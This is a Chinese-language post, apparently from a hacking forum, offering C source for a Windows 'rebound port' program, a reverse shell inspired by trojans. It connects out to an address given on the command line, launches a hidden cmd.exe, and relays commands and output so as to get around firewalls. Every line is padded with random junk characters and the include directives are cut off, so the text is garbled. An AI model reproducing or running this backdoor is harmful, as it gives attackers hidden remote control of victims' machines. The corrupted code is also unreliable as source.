这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PPCZT3c=
%]9
<a
/* ============================== vfT<%Kl!'
Rebound port in Windows NT =l`xXma
By wind,2006/7 ,j~R ^j
===============================*/ s)]Z*#ZZ
#include
[kqxC
#include "4FL<6
mfu>j,7l
#pragma comment(lib,"wsock32.lib") Z-m,~Hh
kP%Hg/f/Ot
void OutputShell(); \~xOdqF/
SOCKET sClient; QjfQoT F
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nbYkr*: "t
Y^gK^?K
void main(int argc,char **argv) OT7F#:2`
{ $;*YdZ`q
WSADATA stWsaData; +j 5u[X
int nRet; ^o't&
SOCKADDR_IN stSaiClient,stSaiServer; V|NWJ7
]>@;
2%YvY
if(argc != 3) x_Ki5~w5
{ 5=Bj?xb$'
printf("Useage:\n\rRebound DestIP DestPort\n"); ~MY7Ic%
return;
~4Is
} (5d~0
fmie,[
WSAStartup(MAKEWORD(2,2),&stWsaData); K@VXFV
ovCk:Vz
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @6GM)N\{[
w0~iGr}P
stSaiClient.sin_family = AF_INET; :LVM'c62c>
stSaiClient.sin_port = htons(0); NpD}7t<EF
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %e7{ke}r
Wnl8XHPn
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) H'I|tPs
{ 5 LX3.
printf("Bind Socket Failed!\n"); 1s\10 hK1c
return; qx{.`AaZW
} ,-CDF)~G=3
'*>LZo4
stSaiServer.sin_family = AF_INET; joDfvY*[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T9Vyj3!i_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i*_KHK
}U'5j/EFZ
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^&&dO*0{
{ 46_<v=YSJ
printf("Connect Error!");
+ y.IDn^
return; =AL95"cH~
} Z(K [oUJx
OutputShell(); &;)~bS(
} 8<n8joO0
10#!{].#x
void OutputShell() `8FC&%X_
{ #]lUJ
&M}e
char szBuff[1024]; +1d\ZZA|6&
SECURITY_ATTRIBUTES stSecurityAttributes; IU$bP#<
OSVERSIONINFO stOsversionInfo; +"3eh1q[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X8Sk
STARTUPINFO stStartupInfo; I J4"X#Q/
char *szShell; a
m<R!(
PROCESS_INFORMATION stProcessInformation; 6S6nE%.3
unsigned long lBytesRead; (X!/tw,.
Ka_UVKwMro
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @1]<LQ\\
_9z/>e
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nrt0[E-&~
stSecurityAttributes.lpSecurityDescriptor = 0; J $e.$ah;
stSecurityAttributes.bInheritHandle = TRUE; $,aU"'D
~5!ukGK_
xZ@Y`2A':
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^7"%eWT`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `n5c|`6
E*w 2yWR
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Xx'>5d>
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2#(7,o}Y5
stStartupInfo.wShowWindow = SW_HIDE; a^=4'.ok
stStartupInfo.hStdInput = hReadPipe; .vW~(ZuD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !r
LHPg
("lcL2Bq
GetVersionEx(&stOsversionInfo); y:42H tS
gr fF\_[:
switch(stOsversionInfo.dwPlatformId) %I.{umU
{ %'=oMbi>i4
case 1: &R5M&IwL
szShell = "command.com"; 6pLwwZD
break; J,D{dYLDD
default: q~w;C([k_
szShell = "cmd.exe"; /7lkbL
break; K[kmfXKu
} ;
zv nDo x
Dq?2mXOqD
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z~c7r n
e{}o:r
send(sClient,szMsg,77,0); Z|/):nVP7
while(1) SW; bE
{ vJCL
m/}*
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uc<@
Fh(
if(lBytesRead) R/wSGP`W
{ V8sY7QK=
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]OrFW4tiE
send(sClient,szBuff,lBytesRead,0); 62_$O"
} CC09:L?
else \\lC"Z#J`
{ IW1\vfe
lBytesRead=recv(sClient,szBuff,1024,0); \'EWur"
if(lBytesRead<=0) break; -Q@d
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9F+bWo_m
} /iN\)y#u1
} .UYpPuAkn
kb:C>Y8!sC
return; L)+ eM&W
}